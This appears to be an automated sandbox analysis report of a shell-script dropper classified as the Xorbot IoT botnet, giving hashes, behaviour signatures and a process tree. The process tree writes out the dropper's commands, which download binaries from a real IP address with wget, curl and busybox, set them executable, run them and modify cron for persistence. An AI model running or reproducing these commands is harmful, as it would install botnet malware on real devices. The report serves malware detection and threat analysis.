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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/01/2025, 13:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    25a7814863dd354a01cfd6baf43b95ff

  • SHA1

    97db7e55d8e39803fa9534204594a595529eca73

  • SHA256

    eece9cdbc73eb1580c67ece7a9ef15da0bb6d087746ea7d602b6fa928f5dedd5

  • SHA512

    63140aaa26d29ae3adae546c6211b87e91228aeef409b69246f74ef47f6f8a887a60cc1690f66f652b0fcc978fa2a387f5b21a813732bfc0eccbb636661aa4bc

  • SSDEEP

    192:/919DjWKEU3nHNB1nm+bNmvWh619DjWKrB1nm+1a:/ZEU3nHZkvWh6M

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2140) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          ./crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:690
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:692
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:693
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:696
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:697
              • /bin/rm
                rm crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
                2⤵
                  PID:711
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
                  2⤵
                    PID:715

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

                  Filesize

                  119KB

                  MD5

                  1b166b95f9cb4b079ef1b9ec8363ddf3

                  SHA1

                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                  SHA256

                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                  SHA512

                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                • /var/spool/cron/crontabs/tmp.WsBGX2

                  Filesize

                  210B

                  MD5

                  024d5ff3f5c8c6459a3165d341ccff01

                  SHA1

                  27bafd608d668c683c399aaf2bbff96dc6e6e692

                  SHA256

                  1285a9b4a8ba8e8374db934964e157ee179cd1cac1aaf47ff33590da4cbdbcc8

                  SHA512

                  48c4be4df0bdab83cd676c23e6614dc7b742571538abc32d1bec6410786f6d0fd34d2f90216c126c63c706e8604531df2b82290c23778618f2c1c7db165df478